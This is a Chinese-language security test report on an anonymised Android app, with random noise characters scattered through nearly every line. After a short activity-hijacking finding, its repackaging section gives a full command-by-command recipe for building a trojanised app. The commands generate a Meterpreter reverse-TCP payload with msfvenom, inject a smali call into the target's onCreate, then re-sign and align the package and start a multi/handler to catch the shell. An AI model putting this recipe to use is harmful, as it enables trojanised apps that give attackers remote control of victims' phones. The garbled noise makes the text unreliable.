4 D$ |1 q( D* w# d
( X% s" q& U1 ~3 W
$ k7 B" S' l* r) _6 j0 n9 ?* v" Z, m* L+ Q# {, r6 ~2 X2 ~9 C# |
表1-2 测试结果 8 G p: l( M) o: \+ ^7 a
! r6 c/ k# r3 h: s0 U v4 I ' A+ r) y( H& s7 M) Z8 s" u! F. ]
! j2 @5 e6 ^( ^7 g 2 L- ~7 v$ H2 E
I0 _3 |) G8 P 5 U Y" U' G. m1 l3 \, f$ C
9 t/ [/ e( j5 Z6 ?" z& B0 z
0 n( u! r# W" g) R5 i0 P
( T V; h5 ], ^% f* | : I; N. ~6 A3 u- \2 C/ G+ ~
" [& t5 z1 Y" e
2 检测结果
2 k% u# B' B- z
6 o O1 O/ ^2 \# z Z+ R
: y! m( V+ n; o: x/ J& O4 p4 P6 }1 z# ]: q
" L* O% d6 g/ |! @, W% v* `7 J% w$ D
2.1 某某某 ! E5 k* C$ z) z% f7 u. ]% A5 R
0 @0 A8 R4 l7 s 3 m6 S4 j, K1 @7 T k5 b# M
! a2 P! e; F" r/ c ?; j
" e, C' @/ q% \7 \* }- x% M- U$ H
2.1.1检测目标 & K5 \$ @* s# _& v$ J
* O$ v2 R2 w: I+ j# w, r
8 F- Q& e, R9 F" H3 a
% M" W5 _; n r$ h n
; a# P6 ?3 ]. t- T2 G! s6 {0 j; C, @" N6 C9 T* s0 ]( b- x. S
目标地址: 某某某某某某APP
5 l9 S9 O& m' K8 n, P) p% s+ K
2 V& _0 R* l4 ^* m# z% R8 D/ V- B, S 8 S5 x( o5 O `( f' J- i
( |6 R( S" ^" r, W% r# b% T5 v
: E, @: L( A2 P* j
q. ^% N' m2 \/ }5 y0 u1 p1 P1 ` 2.1.2检测结果 : O. d6 z7 r' g' `; Z1 z4 }' K
8 A0 h- X" g' ]( _; S2 k" Q * A0 E; N2 O5 f+ i) o4 u9 l
2 o1 z9 v( D- w0 ~* t
8 b. ^' w; G1 \5 v0 A8 k
1 V: O% J. ~" t2 }+ J% G 2.1.2.1 6 K" `2 @! p- S1 q
- _' U4 [" `7 z7 ~- b x
* k$ l8 y, s9 q
" S7 h3 d4 R- F6 X" H
1 n5 l" { X- H' h3 `. a3 y7 k, \
漏洞链接地址:某某某某某某APP 3 F, x( O$ V) A4 Q6 v6 r
) n) J4 {' |* v! y/ \% j3 f' f
5 {) b( ~2 M( C! d$ Z7 h% R
5 W( e7 E5 n9 x! R1 ~( V0 C
+ D$ z- V1 }+ y( C! [' }8 y9 Y4 e' P2 j, j$ {
3 A2 k0 ~- L" L. N7 j7 s' }% Q( [8 T5 Y% c
1 i. v8 p5 B5 i- {8 O
1 |9 O4 E4 q" F, ^2 O; G
: g+ }& l: s, t! C6 n4 I& ~
1 w! E: E' }4 O 漏洞分析及取证:
1 @* O8 B& X1 z* |: c1 y" P
. U' Z$ `0 x3 |7 b
* b* D1 \1 k0 C$ j
+ p; j: [; [% y4 _1 R ~
/ h# I" ] L, T: M* G# v5 F/ e! D5 r( q( Q0 E$ @" K/ s
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
$ ]7 t" v4 M3 j: d; _# z( W1 y7 z. V2 v# o: r) f
/ V4 S5 l% J2 ?) p' Y: t! c# `2 A& P% s1 P" v' A
/ d! v; g% f5 \
5 p% G5 A. Z) I' ^9 F
' r+ z- V# J; b! k
, N; u1 D& k3 u# ~- m, e& d
* o; h% r! H& a4 B4 I! _
# W) Z1 C4 J, M* A! C# z/ L $ W; e7 i5 v. B& _" R% X
. v( P+ b+ K9 s+ p! w
) s6 C' C% d) ~4 \) W- n- q1 s9 T* U& |# K8 U* N
, D- [6 r. m4 u; @5 V
) O1 k! w |0 \ - I% _6 X, Q: u/ w! M
/ B- ?5 e) J( J% [+ ^% ]
9 V) q6 s+ m, O: L) b/ ?( ~) v& U- G8 ~2 Z2 S6 W. I, J
. X" e2 @2 m! U2 H, |1 `
: {3 j6 c' }& K% ^
, N0 `* D& A1 @# Y+ B* o1 i$ ~
* j4 T4 f' u; ^/ ?0 M* [1 b9 A
1 T: S3 b: w% }7 I/ a' I% z
, e- G* ~' L, ]9 r
0 D4 H- c+ ]: w) L * [: ]9 q s5 L/ V! f0 Z
@0 z7 G8 I" a 7 L, N3 v# ^& ~- W
- V! T0 e3 U4 r9 G2 V! f' w
% q' F( x3 {$ F7 m7 z/ o5 \
! F. Y1 e9 M& e. j9 U. l
8 {) S! r8 t8 y! w! c' N4 K
! \7 o: @# ]% m5 w- ` 漏洞危害:高 / J/ {+ |4 d/ [5 `1 c- J8 z1 g, t
; _& }" I) H& j
3 a* T& P2 _2 J
- E/ t( f$ U9 `- b% l: ^ N( U $ Y p6 S# P% ]6 r2 N& L
w# l. g3 a4 m& U6 H
! P/ \5 C4 t( }1 x' c+ Q" W9 Z, Y
2 P' P0 L. K3 F8 k
; e. v- v9 g+ r- ^) [* ~8 |5 q7 f: V* ^+ v: `: U, Z/ C' K
! F0 ?5 I- S7 U/ |; E; r& f) q( L3 x, A
/ S# |1 |$ Q) k( [3 ] K4 J+ Z2 Q
- t: H* j* i' ?7 `" `/ a+ Y+ ~
' D* ^* a9 H- A2 J
# t) j& n# C6 _3 B6 @ 严重程度 c( g' ]" t& n p; v6 Y# y
9 k2 M z7 x% O# s, s
! \; I- e" o1 n* I1 c6 f
: }1 s4 _! {& E( [
| ; m }1 j! E% j$ k% _
& X: N$ c e, R& z0 {) y
W& J" j7 S! j6 j
Z1 V3 P# j' {2 J- U1 l ! U6 b! Z8 u9 Q! y: @3 m' J* D
" B1 O6 c4 H& b
高 # V' [& [4 m. J M/ v. I: Y
. ]4 Z/ w) |2 J( S, u4 y5 p% C' | - g) J) l" n- W5 @
# q& v" v' J8 E
|
* E. r1 W, ], r
5 E4 P9 h8 c# w* U; V & o, _ ~, l' J% u
1 `& e0 z$ L: b
. ^! c+ D4 ` T
. B1 w* Y3 p: H ■
; E" a& H+ A: K* m- H
5 A; i! m1 F. R& e
4 N5 ^3 g. o" c( \, }$ f0 g, A( q; z+ Z7 b4 d
|
+ V3 Q; _6 u* A- r' p* c" m& ~$ v: X! }: J0 c
S# L3 ?/ ^0 f- w4 K( d
) \% D4 V. A* _* L. c. U
6 c" R- a; z- y" \/ J# f
! M/ Y5 [- Z- j; O6 Y$ F( ~6 r4 p 中 3 D. z' [) x+ G8 z% w6 Z0 k" s5 \
' a! Q* k+ _6 ]. d 4 {. A- u. f8 i p) ^4 j
- F. G& O6 v4 G' [3 z. L | * o) U) ?4 s1 f$ I( v+ q
# d7 Z }' {& E& U- [
! }! R4 j. P0 Z2 J1 F R
% Y9 }4 L+ l- C& ] , j! X9 f% L4 ]8 X
4 C3 s9 L9 a( V5 m8 a' r / h9 A/ B7 z* W5 R. L3 E. E, ^
, G7 V* s2 r; D% m0 I! }4 C
( ~. o! O3 F- {2 l8 ?: W- O
+ m8 M0 ^/ C A) V# v9 ` |
- \% h+ s; b3 s7 A3 m
2 }: @5 D- q8 r# e' q( J8 e- K
9 R6 s: [% N! b4 Z2 K. c% A( Q) y$ c& ~9 T: S! S' C+ J2 j
9 M7 H+ V. m7 o' D
K5 L( k' F" B
低 & J+ w5 }0 U' H# c c8 N! a( ^
! s: Z+ |% b* Z5 {& v
% j% N# E( L% U6 j
+ j( Y* U: `9 ^4 \ |
' \$ l U, Y5 x' E, a# f: m5 e) @) ?- J$ [8 E6 N
9 U; i( Q; C9 t0 G3 o. V, T" O( s) \$ A9 A8 W0 G6 U
Q; W- n! Q* k
5 g/ g- U1 N2 K1 H% ~. t& M 9 f1 w9 \- |, n
8 @0 n! }6 L* E# P4 r: F; D
3 M7 E( I8 d! _7 H$ y. a8 O, N1 Y& c3 h
|
5 X6 h, b* v4 A0 _. U# l3 f9 o3 l P
" F8 G( j+ V$ i/ R4 f8 F5 ^0 A2 T: g5 Z0 p
7 }9 K- A, A4 o$ D# K
: _+ L5 x- w' t# \ , p- P6 {. w" Z, ?/ C
o g, P" S+ ?& P. n
% L, P0 e! o, M1 `0 j2 ]
0 F- f1 S2 P% x
3 R6 n7 U9 X/ \2 C
" t* M! _& Z& |0 m% `# ` 0 U8 n6 Q6 F" I# A# m
" s) s" t" w* E" n- x! p
( s! O' _- n$ ]; [* z; x* `# M% W
' _: I* q. D: O; b9 r3 d. Z5 S1 \+ C# ~9 m8 ?7 _- x" m
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 8 C' s( r* J9 Z% q, n) s4 [
. n Z ^8 P; y+ D, `) K+ T ( v9 {. x6 W# q- j6 S8 d6 U4 C
& T, _2 C$ _' X, y* w' ` & y1 R7 H* l6 }0 n' \% c
' E1 S9 }- W3 L: r5 B7 N5 _
6 M8 p a# j% P- t/ a# T i" {5 ~- ~ G, E' S
& v' e( O1 q. N+ R2 ^
9 r8 G% K5 l- L: v5 g 3 {7 x) s# R X3 p+ v+ o
, b+ ]7 ^% Y) U& i( f& {) [ ^
. v$ [0 J: C; g4 R1 R6 b$ q
7 P }5 u5 o* k! O
7 j( m$ w' Q+ S; j1 H- g
% i6 @- A' _5 y
5 p5 Z' n! Q2 M- E2 h* `( n. ?' L+ E) @
2.1.2.2 + g+ P0 }" d) w+ ?/ r! |
' u, r! M2 v4 O
: s6 B9 e0 p& ~7 a/ o9 k# V3 k" o: ^8 n. v X( j9 V( E+ x
3 i4 ]/ T" q* z6 ^
; `8 C+ t! i, L+ s# w
漏洞链接地址:某某某某某某APP ; X, Z( b4 V: v* u$ s+ N( X6 r
7 \! D: @! y- A! V' e( J6 D$ N
" C" S" b) z; T2 V- Y! f9 h
8 T0 w/ y0 U* k q4 T
6 N2 ?, W1 d& z6 u6 V0 \. ~4 z9 J& l; ~
漏洞分析及取证: . V+ w6 H ]/ ^3 a( p
/ G- ?2 u) u1 x- r! _6 Z2 g
6 f8 r' R( {. L' i3 L. \5 C
, v( X6 G1 E/ `
* C! H( a0 ]8 U6 G1 r
9 W- g" i! w% g& ~# ` 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 1 e. ?5 B" {) n* R
& q+ k! \1 i) {6 Z) i
D2 g0 H- v2 P9 z: w8 \! O' _3 d, |$ |
, L9 [1 W* |% S3 L* b) _# ?. U. x ~1 W7 I
用Metasploit 生成木马 apk
5 I9 U$ }+ q! v" q! [
$ Z* \: e! W; G- ^
* x6 P" [5 c5 K& f+ t) e. e+ G/ `# c- E9 M
, y$ P- A1 y' Y9 b+ m( u
& J. z1 y8 m5 \$ g/ N7 N msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 6 z. I+ B5 D4 z, d, E; R
$ k2 w8 n7 |. B, h
! C, |9 s7 j% l# I4 R7 j" t; ?% {9 I! F1 {
, f+ S* I- {; n0 e8 P
$ j: o4 v+ W/ J# F 反编译目标apk和木马apk
. T* @$ q. U$ k0 U/ ]) P, ?; O4 z/ @
/ m/ w* x9 y+ V: c
; B5 U1 z: G2 x* ?
6 x* O" i0 h7 D- o$ K1 p4 M+ k
) Z+ w( R. v9 U. M4 H1 w
! Z0 U) f6 |; I) d3 ?$ P apktool d target.apk
: W0 z2 i& B0 W
+ d: @3 @# |$ o8 t apktool d cockhorse.apk $ M5 X1 R% W- v4 Z$ H3 l
2 A* [: }' y, p- O1 B
: A+ w2 o% g6 j( g% n
7 b) W" p/ Y# U* V9 ~ ' w) Z- t! W$ k. E: }; s$ [5 o
2 `3 {9 b) Q% W2 X 木马 apk 注入目标 apk $ _; A6 ^# o. U- q+ L! J/ K
$ ^ \- [5 t& w( K3 o3 A
( [* X+ @# {( O2 A. b) P0 r- s. ^9 l: m
0 c% z/ ?6 S' M( Z @2 ?
; i$ `% u0 a0 Y1 }/ g1 w 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码: ) e8 k, w* a/ y
9 M. T, I" K5 r% n. s, W invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
) R. }' b9 p) W& C T( P$ q& Y# C
2 q9 w7 _2 _5 f1 E0 W, v" j6 s9 n
" y; A9 I, E( F. `: G ?- x! g5 h) b: |) E: `: W. I
( |6 {) C: y5 M( k9 _: g
4 C8 {7 q1 ~; A) D, y 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 2 r( z+ v# a% g4 O, A% i {
# t, g9 n% A" H8 l
O; z# D$ w9 o
) u& p7 n5 R% c
& Q/ p6 Z _: Q6 F: _% R8 v) ^
* g2 w& l# T! G
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 ' k9 u6 R9 b% }2 H8 u: I8 a
8 ^) }1 Z% _8 j( s * N6 I, x7 T. n/ K
2 H2 m5 ~) z' d d( L5 S; G
# j% \0 |. H4 A- K) p: m
1 ~% X/ K2 ~# X+ E a$ y 回编译生成最终 apk ) G8 _& l: w# @
, S% ] O; t0 Q. ]6 P0 W. Q: ^5 o
; Y& \- K" ? ^& h! t* v3 e! r
6 f& Q: q6 |" I* c# N9 |
- B/ I4 g: a. F0 H/ [3 B9 k' s" J" `' V0 ~5 v; K
重新打包
; w, u- c5 Q i
' g1 v' v7 B2 t
1 t) k+ @) I7 r0 I- E+ P& L- X: J1 s8 Q) J
. _+ _9 E! d" i4 q
# s" i1 J4 T7 v; m# q8 }0 W! D apktool b -o repackage.apk target_app_floder / N+ P' L2 m$ W
5 ]1 j+ ^) C a- c
, m& J/ F! {# m# e7 Q" y5 B+ D; ?% ^1 n: d
2 L( U/ m" N X- F% _; x. B) z
3 j+ U: s' v6 s D* Q- Z: y
创建签名文件,有的话可忽略此步骤 & \) n4 ~7 ~% j D a' H
8 i6 L" \9 \% S: M$ A! K
* M/ W v( t* A, @5 L4 B4 ^) I o3 V$ g, R# e
6 k2 P6 F" [3 Y7 G% s7 Z+ r
- u* U" j: `' X$ ~0 N
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 ; h7 o A3 |+ {+ H k- ~
( z& F" p2 [4 Y
" Y( m, X( m: d# z2 } M+ [& S' b/ J8 W0 U6 F. H, _
: M% Q. J6 ^) m6 B; y6 M3 O; T# d4 j$ ^) s+ w! i! J. b2 E
签名,以下任选其一
$ |' R& v3 n0 D) J _; b
! ]' l* V* }# q, ^- r
3 _( C' K6 S( Z$ _1 }7 R9 }# c' x, H6 {
* t2 a* Z* ~! X1 C1 e/ l3 b' Z+ b5 _$ v" F
jarsigner 方式 ; k6 ^+ J- V6 R" L! z$ b
8 K+ g4 z6 {; H0 T) Z0 o * z4 ?% D* c l* J% g9 i
/ V4 C1 `) V' q0 |- p% }! {1 P & a% ^2 ?" E" ]- {+ W$ ?' B
- G* j2 v3 A6 B7 K1 p) w7 [& C
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname # ?6 T5 I4 b% V1 R
4 O3 \, L; @1 e$ ~* ~
% n" _' T! [$ Q; Z2 {% B' m: \& y4 h( g
( g3 t& d/ J$ ^& N7 u$ p ^
" k% M; L7 T' b4 n apksigner 方式 5 X0 k2 h l8 ^" f$ D: u$ O
( u0 B2 K2 k; }) o/ _& b1 x; Y
]9 i" ]' O! P
( v+ b2 @& f- \7 g) ~! I* Q- W
9 R/ p/ M( ~8 D6 C, C6 o( j
" q0 ~4 c9 @4 D% p apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 2 |) X ^7 B0 m3 a/ p6 b
3 X# l6 \6 [& W2 f+ C 0 r' M2 f; J3 F9 q
" r" f3 c& j. g1 p D* R
( y( g8 T k/ x
9 j7 I% N+ {- q. @' ^ 如需要禁用 v2签名 添加选项--v2-signing-enabled false
4 d& A# K+ Q& l k
2 ?" N5 m4 G2 g: S6 W ' V; R) Q. D2 N3 X
/ K/ }" C2 r; K$ {& Z- Z : ^8 g S0 H8 i8 F
+ L) `% R$ p2 g& W0 E
验证,以下任选其一 ( C: Y5 F2 A6 z
/ c' h4 N8 J7 F9 `, T) [
1 V1 K& U, m4 D' W! K$ B
9 b; t1 ?: C7 T+ z% h% C 3 k- J- d: f6 j! l, ^* G
7 y; I3 G% {. h b6 X4 P2 n e6 [% o jarsigner方式
) t/ [7 L: o( W
5 T% u: C3 g% p+ y% H' t3 I; f: E
# Y% `- D. T6 k$ k6 H& F
* ^/ b/ b2 R9 I
1 }2 `6 ]3 p7 e4 V' T
5 d( c+ H) U- L, o/ M& Z) P6 |) m jarsigner -verify repackaged.apk
* p5 u7 _4 _2 H/ c
) t( [7 y4 h9 `/ W0 _
, ]$ I3 ~! j7 f- \$ x8 l |
; m, a J8 W0 h g4 K7 J
) G( l$ }$ X+ b" A% M7 [2 P1 G( q2 Z/ ?0 Y8 Z
apksigner 方式 ) m ` A& X3 X4 v
; I( R5 U3 R$ e/ [: Y- K* V
; R2 `' X2 l. [) R P
2 E: j) @" A: _) r2 q0 w- h; i% g4 b
7 {* O) a5 h! ~; O2 b5 s4 n: V. x2 R
" d) u# c+ S& U4 K% x1 u% J apksigner verify -v --print-certs repackaged.apk : L# b. i! T J: I
. Y0 ]* h# C/ }' r j7 ~( o
5 ^6 \5 l, @# C3 C! A# S+ D. l2 n/ l# C. t8 |& h
) h2 B7 p% }# w7 Y9 z* b0 g% [. }; m! o: ?
keytool方式 ' [, h& Y; i- s. ~! P. c, Q
6 I- q1 H7 w, k. k0 K. C: U& n/ R
" f. m9 L. {# j5 @% B' i+ l5 l* ~* `8 X8 R) L3 p! @
# D# o. N9 j$ E3 ?+ H, ^7 W3 W) u
0 m: @3 L* |) P
keytool -printcert -jarfile repackaged.apk
. x& ]9 t" ?( m/ l! ^* n- N) V% s. r, T: ~: T0 d
5 x/ V+ Y9 Y2 `: @
) Z9 ^- z5 R* R' `5 b& H+ j
8 k0 m1 F+ T7 R2 O0 @1 c/ A: Z9 K4 o8 N& K
对齐 3 Q! S- t7 ]4 \. @; h1 G
; ]6 L" D4 l" Y2 a
. t' \" F+ M) P+ g" X' ^
; k: \. w6 G4 G" J1 X
+ a9 U3 {: s; w+ w, W
# y6 G0 `& R: @3 V0 H
字节对齐优化
j' z! G$ B/ v/ }* W5 }9 A5 x# E' B, l9 ], l
" \. \# T4 T* t; L+ j6 g% ^( g3 B5 M+ ?6 }+ T! q; X
5 @/ v& f. F% \" J g* l1 Q) w
; `7 a+ D3 U3 z0 |1 K4 | zipalign -v 4 repackaged.apk final.apk ' C- ^# u& @0 D, q# s
- {2 g* n0 A0 H" P2 z: ^
5 U8 |3 L( Y3 M& R5 S6 I( y8 w0 ]0 W# \: H/ k# w" R
2 A; p, `$ b) J- W, V+ A% ?. x
8 z* O) n2 t% m" t/ ~( r
检查是否对齐 , }( S3 I5 y( a8 B7 t1 U& g# E, z
( c* B o3 _: `' A: ] * q5 T4 i% a- V9 F. Y# g4 Z
( }; b) b$ y4 ^* a: ]
1 Y6 O& L7 l& q( o* ^2 L" R) P/ R! ^. O2 H
zipalign -c -v 4 final.apk
+ B N8 y b3 P7 e# K' R; i
3 s4 r# V m5 Z
) s; m& |; `# m( [, l5 o9 x, D7 O) m, e6 @7 x, `
. j4 u6 b! `5 h1 H/ J
$ C- ]% v8 k) w8 f: ^6 p* W 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 4 u' a8 f# U; g! W8 B* w5 ?, K3 M
* S/ D9 i4 I3 y% m
0 e7 x! Z w& k" ~4 l
0 d( v3 r3 Z0 a2 i1 A+ A3 B
6 K) e' Z2 m1 w- z' u( {! T9 N2 S/ x% ~. ~$ x* Z+ i9 [: q) D
启动Metasploit控制台,配置参数等待上线 7 @* @( b0 w3 ~6 O
- g- E1 W) a4 g! B) j; W! x
2 W3 [4 A5 W( L- g
0 h/ R$ K+ }5 h1 [8 {! S( c/ f
3 V4 }5 X* n( e5 F8 u0 u' ^4 K% P+ {6 W+ D
在终端依次输入如下命令 & K: P$ i7 j7 |1 u8 L9 S: n& \- O+ F
3 W8 k$ A7 ^9 J! v
4 M0 p. t6 k, p: w' A4 J
! I: r; Q/ X" M1 v. h i
, K) w* I1 E# G/ o
+ p+ `2 ^5 D# m
msfconsole 3 d! ?5 V" ]. G8 `( o+ j) n
! t2 |. p7 X7 O( K" W9 j6 ]
" i& L# s: K: k5 ]4 H
. T3 Y$ N) d B% [ ; F( W" i+ ]" e
1 H4 j/ x, K |- |& ]
use exploit/multi/handler
* _3 J: }2 o' J4 y3 G" b4 c6 j6 S8 a( O% Y% T2 l
$ b2 g( F! D- X- G, u0 H0 d* {3 H
/ H5 c& ~ U( `3 I
- ^: e1 m$ B. ^& Q" r
0 h* p- U) k# x1 |( g% W B set PAYLOAD android/meterpreter/reverse_tcp 8 w) a& v% f# P. i0 h: ~ f! ]
0 ]) F: r5 k/ _ O9 T6 N7 ~( ]/ S
7 w! p3 n" ?# C: N' N4 w# O+ _0 K/ G# ?4 {: l5 v
/ M* ]+ |' c z$ m) t, h
+ g6 v3 V I+ d* q4 Z4 V set LHOST 192.xxx.xx.xx
) R1 |* I7 v6 q- k' y: u, _$ U4 b3 \6 N/ |7 A' g- i) C3 d
1 L' a6 ?/ {; ]. ]
9 r( e* @* n& e0 o% X ) g4 p/ ^& ?3 m5 g6 ~: K: c( ~& W
3 H, ]& x9 A" t+ l; ?/ M set LPORT 4444
* X* H e- G1 Z1 n7 v0 a, t: O& @& r) q) A- `9 _, H
8 {! K1 j! ?" d$ g* \* G
, A& G1 ]: }/ |4 m) C
4 x1 Z4 U9 N8 o1 w7 c3 F4 ~
# X5 c* z; I" q! z) N, T0 L exploit
0 D4 X3 r3 P- @9 |# _
5 p e/ m5 ?% R9 ~& J7 f9 N% V
% ]( [. N- q0 g% q* y; s) w
( n w1 C2 n ~& H. G- L, x1 v 6 H; }6 |9 `5 L9 o V, f
& n6 G1 s, r' [# d4 F3 N8 R8 r- s. N 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图: 0 t1 t% a- X) ^- Q3 H
; N: T4 ^9 j4 C& m- r
* ^2 o, u- p, r; R: z
7 a8 @( c6 s/ H5 }- Z: t 1 }: Z ~+ p: J2 B' H7 Z- ]. `3 f/ o) Z
+ E8 j$ M* R4 j% K9 q( K 漏洞危害:中 . n" N. Z1 c. h1 T L j3 W
/ L" M: }* N5 w: Z. h- ~( M
1 ?9 f) ]# b/ @, m9 h' C( g
8 u: r' J3 [) C' F) S3 F
+ s& j2 P" y2 G! n$ m+ ]' ~% u$ y t8 J' J, T0 I0 c
. |2 p, o) K& z$ F* n2 i$ L4 p. Z- D; K+ p z% s2 G
# s4 E8 {* n* K/ u1 [% e
( C7 j9 |7 q8 {, C
9 t0 C7 O4 d3 W4 w$ l" A0 F# k ? O) \. \8 L& @1 _
% `7 d$ c2 [- y8 h& L! F
6 O3 s! Y$ [& q$ B' o2 C, | 8 O! |3 p9 `8 c3 B% V& I6 Z
" {; G0 ~7 @: t4 @$ z8 W- B5 | ) O' u5 ]1 a6 n, i
& B' m& W, h' M7 _2 B6 V 严重程度
( `0 J4 P' x2 @
, L5 g0 D: _5 t- h9 {, Y# J, ~
5 P3 m0 n" O: M3 ]( V/ e6 H) c+ X0 Y9 z5 {
|
$ E8 x! Y2 p5 B" P7 U% ?! ^
& W V) e' d0 m& b7 y4 w( k3 t4 X* a + v; L, m/ ?( E8 E
6 ?, g* _ a2 x; ?# P/ @( ~( D
: k& {9 W1 j* B; M! |6 Z, V' I$ T) o1 s) f# N5 ~( c
高
5 t- a3 V1 c/ X$ P! t# s
; g1 ?1 B4 D) Q* I$ G! T0 p- w
! i. W" W, ^5 q/ {0 [3 c' v. X
- z" s) H! B" J5 _; m$ _# K | + e& }* J, h: E h6 C
+ E4 P2 X) B" G
; K5 o: M& u' F4 O- Q2 ?
* B" @+ a1 X, K3 Y . \+ r' A/ U' D& U7 U( v# ^
* A4 w$ F) t) b+ X3 A+ H0 p G6 y
■ - D% ?' C, J, U6 w! {
. F. r0 X) f0 c: I
! \0 S, G$ b" x7 B% u9 G2 {
3 b, q" Z" M, b7 @ |
5 w4 Q; s+ F* J) i. `+ _4 O
- I [8 ]( Y$ I7 R9 E
[2 h. i( @7 } I4 V" E5 Y4 p& P' D+ _4 u1 d9 Y4 r
; @: I6 j# Y, u2 A6 c* \0 g& m% U% v6 K# N( _: z! T% ^5 d
中
, w5 } S$ [, g) K; J9 m
6 Z/ _+ H/ r# N6 E7 N. l, G% R n 0 g; d9 R/ O6 Q" W
# N- i# g5 s9 D7 V; [
|
& }2 b x6 l0 j2 F' k- q8 p! |3 b9 P& a4 \. T8 `
k/ u" P& P7 O- G8 x2 ?/ { u
0 ] m# [' F3 v3 x% M
t& _: M0 m; E9 X% `3 h* ^; n1 W* h
$ A- S1 k/ w- h( t
( V7 {* R3 `9 {! _( ~
9 A% O2 ?# \( b4 p4 O& G! q) T7 `3 v+ w
6 }- @1 {$ T8 h& S7 G1 x0 U
7 a2 k4 s# |6 t8 u( i
|
- w1 ]# ~( p; X, t0 c6 f( M# I( d8 m& q- ^" h, [
4 O; c L ^& K$ k
Z# [: Q; f, d6 B
0 y+ g! E) {! r" u3 z/ Q @
4 o5 b n" G) s 低 , x% Y2 A9 s5 T9 o+ }, w
2 \, _! S- o2 r4 y: X$ |
* v6 z6 D( ~7 r' A3 b' c% }
/ l! J$ ^; T6 W/ A |
+ Y+ Y0 e1 g) g, ^6 P9 r" s) y1 H8 I+ T. B
4 R0 `6 J( q1 A* ^
& z6 G1 ^; @; p$ B # E/ f- g: |% `6 J& J
5 ?$ T/ ?5 W+ Q; y
! U+ i1 k# W- n5 {- x0 B; B/ p, Z% V/ G
- f: R$ F, S8 b) _; ^ B# F" p) k
) @' i2 U9 B6 s, \
3 C: l0 B) i+ Z9 g
# K- Y" d% r6 h W! ` |
- E: w. Q$ h% ], c4 |" M( {, G
2 k( L5 h1 X( I% _' h% D. I# k. D$ Z; ] , Q$ b% r7 l4 C4 ~
, k* q, m: D3 q
! m" y ?$ K1 _ } ?3 r% G+ r$ H$ ?4 f Q9 t
- p% \ \* p; j6 c
5 W7 V$ h7 Z- A3 B: T
, l' ~9 t; z6 H. a% L$ r7 \9 {
% d \8 j$ p7 K0 I( L# ] N
' O9 I6 U- N: `5 I4 L4 G& X" M5 c y% q4 z6 n
, A* \ F6 V: o I% t
& i j: i2 Z+ b3 ~ & s- Y6 c# A: q, I5 B8 X/ B+ `
0 E7 ~% u* ^; P! P* O; f
# k" _' }% \' Z! V& ?2 B+ v% g# M6 |: X* h, i- k5 G" v( y" N( \
修复方法:
. y0 H# u4 G4 Z0 k/ g2 T9 I
8 T. j3 B. {% C- H9 n8 d( l* d* Y
' o2 b3 t) {- Y4 O. |9 Y* \2 _) H
8 l! S& j8 O) w/ ~ , Y4 I) K4 D) ]6 n
4 e/ \2 V, D$ z; Z$ U9 t$ r 1.在 APP 启动时应做签名校验防止二次打包。
3 L' {$ H5 w4 t0 _' O, \$ \" U/ d1 ]8 `) m
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 0 _, X3 ]) G/ b" j
. s& ?& U% m: D h( I; k
8 d% [( l) C# p9 s/ z) w( f$ {1 j& G4 D% p* H
, I+ B: [; ~- } E6 |
! k7 y! K; ]# j
0 ?+ ?5 f- X4 T# J8 Y, `
' R) z! n& @7 U( m) @
2 u) z* X% N0 _- P( R
& k. |5 d- k8 P" X ~/ H$ s3 Y0 A: [
3 @+ S, s- w( v+ b3 i. d " Y8 f0 Q" S' h3 n
% l9 ?$ J7 t7 x
0 _6 ]% W! W t$ t
/ O6 j3 j" d4 H' ?, y% F' |0 v* x
; i. j) c9 {+ D1 C4 T! t& m
; v- n& @2 Y5 v! i; B3 K: G
" r& n9 _; m. @& ?2 l
% Z) x1 z% L* v% \
|